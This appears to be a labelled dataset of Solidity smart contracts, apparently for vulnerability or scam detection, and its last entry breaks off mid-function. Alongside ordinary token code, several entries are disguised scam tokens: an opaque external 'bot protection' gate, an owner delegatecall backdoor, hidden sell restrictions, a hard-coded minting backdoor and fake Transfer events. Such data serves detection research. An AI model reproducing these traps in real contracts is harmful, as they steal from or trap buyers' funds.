source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity ^0.5.7; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface token { function transfer(address receiver, uint amount) external returns (bool) ; function balanceOf(address holder) external view returns (uint) ; } contract Crowdsale { using SafeMath for uint256; address payable public wallet; address public addressOfTokenUsedAsReward; uint256 public price = 75000; uint256 public tokensSold; token tokenReward; uint256 public weiRaised; mapping (address => uint) public balances; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor () public { wallet = 0x41d5e81BFBCb4eB82F9d7Fda41b9FE2759C69564; addressOfTokenUsedAsReward = 0x0B44547be0A0Df5dCd5327de8EA73680517c5a54; tokenReward = token(addressOfTokenUsedAsReward); } bool public started = true; function startSale() public { require (msg.sender == wallet); started = true; } function stopSale() public { require(msg.sender == wallet); started = false; } function setPrice(uint256 _price) public { require(msg.sender == wallet); price = _price; } function changeWallet(address payable _wallet) public { require (msg.sender == wallet); wallet = _wallet; } function () payable external { buyTokens(msg.sender); } function buyTokens(address beneficiary) payable public { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = (weiAmount) * price; weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokens); require(tokenReward.balanceOf(address(this)).sub(tokensSold) >= tokens); balances[beneficiary] = balances[beneficiary].add(tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function claimTokens() public { require(started == false && balances[msg.sender] > 0); tokenReward.transfer(msg.sender, balances[msg.sender]); balances[msg.sender] = 0; } function myBalance() public view returns (uint) { return balances[msg.sender]; } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = started; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function withdrawTokens(uint256 _amount) public { require (msg.sender == wallet && tokenReward.balanceOf(address(this)).sub(tokensSold) >= _amount); tokenReward.transfer(wallet,_amount); } }
1
5,089
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 1000000000; uint256 public buyPrice = 5000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'BEDO', 'BEDO') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } function getEth(uint num) onlyOwner payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
0
1,414
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract MoonieToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 2000000000000000000000000000; string public name = "MoonieNFT Token"; string public symbol = "MNY"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wBNB, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_reallyGoHere.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = _amounts[i]; emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]); } } }
0
1,234
pragma solidity ^0.4.19; contract Ownable { address public owner = msg.sender; modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] += _value; allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event Burn(address indexed burner, uint value); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply += _amount; balances[_to] += _amount; Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function burn(address _addr, uint _amount) onlyOwner public { require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount); balances[_addr] -= _amount; totalSupply -= _amount; Burn(_addr, _amount); Transfer(_addr, address(0), _amount); } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract WealthBuilderToken is MintableToken { string public name = "Wealth Builder Token"; string public symbol = "WBT"; uint32 public decimals = 18; uint public rate = 10**7; uint public mrate = 10**7; function setRate(uint _rate) onlyOwner public { rate = _rate; } } contract Data is Ownable { mapping (address => address) private parent; mapping (address => uint8) public statuses; mapping (address => uint) public referralDeposits; mapping(address => uint256) private balances; mapping(address => uint256) private investorBalances; function parentOf(address _addr) public constant returns (address) { return parent[_addr]; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr] / 1000000; } function investorBalanceOf(address _addr) public constant returns (uint256) { return investorBalances[_addr] / 1000000; } function Data() public { statuses[msg.sender] = 7; } function addBalance(address _addr, uint256 amount) onlyOwner public { balances[_addr] += amount; } function subtrBalance(address _addr, uint256 amount) onlyOwner public { require(balances[_addr] >= amount); balances[_addr] -= amount; } function addInvestorBalance(address _addr, uint256 amount) onlyOwner public { investorBalances[_addr] += amount; } function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public { require(investorBalances[_addr] >= amount); investorBalances[_addr] -= amount; } function addReferralDeposit(address _addr, uint256 amount) onlyOwner public { referralDeposits[_addr] += amount; } function setStatus(address _addr, uint8 _status) onlyOwner public { statuses[_addr] = _status; } function setParent(address _addr, address _parent) onlyOwner public { parent[_addr] = _parent; } } contract Declaration { mapping (uint => uint8) statusThreshold; mapping (uint8 => mapping (uint8 => uint)) feeDistribution; uint[8] thresholds = [ 0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000 ]; uint[5] referralFees = [50, 30, 20, 10, 5]; uint[5] serviceFees = [25, 20, 15, 10, 5]; function Declaration() public { setFeeDistributionsAndStatusThresholds(); } function setFeeDistributionsAndStatusThresholds() private { setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]); setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]); setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]); setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]); setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]); setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]); setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]); setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]); } function setFeeDistributionAndStatusThreshold( uint8 _st, uint8[5] _percentages, uint _threshold ) private { statusThreshold[_threshold] = _st; for (uint8 i = 0; i < _percentages.length; i++) { feeDistribution[_st][i] = _percentages[i]; } } } contract Investors is Ownable { address[] public investors; mapping (address => uint) public investorPercentages; function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public { for (uint i = 0; i < _investors.length; i++) { investors.push(_investors[i]); investorPercentages[_investors[i]] = _investorPercentages[i]; } } function getInvestorsCount() public constant returns (uint) { return investors.length; } function getInvestorsFee() public constant returns (uint8) { if (now >= 1577836800) { return 1; } if (now >= 1546300800) { return 5; } return 10; } } contract Referral is Declaration, Ownable { using SafeMath for uint; WealthBuilderToken private token; Data private data; Investors private investors; uint public investorsBalance; uint public ethUsdRate; function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public { ethUsdRate = _ethUsdRate; token = WealthBuilderToken(_token); data = Data(_data); investors = Investors(_investors); investorsBalance = 0; } function() payable public { } function invest(address client, uint8 depositsCount) payable public { uint amount = msg.value; if (depositsCount < 5) { uint serviceFee; uint investorsFee = 0; if (depositsCount == 0) { uint8 investorsFeePercentage = investors.getInvestorsFee(); serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage)); investorsFee = amount * investorsFeePercentage; investorsBalance += investorsFee; } else { serviceFee = amount * serviceFees[depositsCount]; } uint referralFee = amount * referralFees[depositsCount]; distribute(data.parentOf(client), 0, depositsCount, amount); uint active = (amount * 100) .sub(referralFee) .sub(serviceFee) .sub(investorsFee); token.mint(client, active / 100 * token.rate() / token.mrate()); data.addBalance(owner, serviceFee * 10000); } else { token.mint(client, amount * token.rate() / token.mrate()); } } function distribute( address _node, uint _prevPercentage, uint8 _depositsCount, uint _amount ) private { address node = _node; uint prevPercentage = _prevPercentage; while(node != address(0)) { uint8 status = data.statuses(node); uint nodePercentage = feeDistribution[status][_depositsCount]; uint percentage = nodePercentage.sub(prevPercentage); data.addBalance(node, _amount * percentage * 10000); data.addReferralDeposit(node, _amount * ethUsdRate / 10**18); updateStatus(node, status); node = data.parentOf(node); prevPercentage = nodePercentage; } } function updateStatus(address _node, uint8 _status) private { uint refDep = data.referralDeposits(_node); for (uint i = thresholds.length - 1; i > _status; i--) { uint threshold = thresholds[i] * 100; if (refDep >= threshold) { data.setStatus(_node, statusThreshold[threshold]); break; } } } function distributeInvestorsFee(uint start, uint end) onlyOwner public { for (uint i = start; i < end; i++) { address investor = investors.investors(i); uint investorPercentage = investors.investorPercentages(investor); data.addInvestorBalance(investor, investorsBalance * investorPercentage); } if (end == investors.getInvestorsCount()) { investorsBalance = 0; } } function setRate(uint _rate) onlyOwner public { token.setRate(_rate); } function setEthUsdRate(uint _ethUsdRate) onlyOwner public { ethUsdRate = _ethUsdRate; } function invite( address _inviter, address _invitee ) public onlyOwner { data.setParent(_invitee, _inviter); data.setStatus(_invitee, 0); } function setStatus(address _addr, uint8 _status) public onlyOwner { data.setStatus(_addr, _status); } function setInvestors(address _addr) public onlyOwner { investors = Investors(_addr); } function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner { uint amount = investor ? data.investorBalanceOf(_addr) : data.balanceOf(_addr); require(amount >= _amount && this.balance >= _amount); if (investor) { data.subtrInvestorBalance(_addr, _amount * 1000000); } else { data.subtrBalance(_addr, _amount * 1000000); } _addr.transfer(_amount); } function withdrawOwner(address _addr, uint256 _amount) public onlyOwner { require(this.balance >= _amount); _addr.transfer(_amount); } function withdrawToken(address _addr, uint256 _amount) onlyOwner public { token.burn(_addr, _amount); uint256 etherValue = _amount * token.mrate() / token.rate(); _addr.transfer(etherValue); } function transferTokenOwnership(address _addr) onlyOwner public { token.transferOwnership(_addr); } function transferDataOwnership(address _addr) onlyOwner public { data.transferOwnership(_addr); } } contract PChannel is Ownable { Referral private refProgram; uint private depositAmount = 1000000; uint private maxDepositAmount =1250000; mapping (address => uint8) private deposits; function PChannel(address _refProgram) public { refProgram = Referral(_refProgram); } function() payable public { uint8 depositsCount = deposits[msg.sender]; if (depositsCount == 15) { depositsCount = 0; deposits[msg.sender] = 0; } uint amount = msg.value; uint usdAmount = amount * refProgram.ethUsdRate() / 10**18; require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount); refProgram.invest.value(amount)(msg.sender, depositsCount); deposits[msg.sender]++; } function setRefProgram(address _addr) public onlyOwner { refProgram = Referral(_addr); } }
1
3,323
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
435
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) 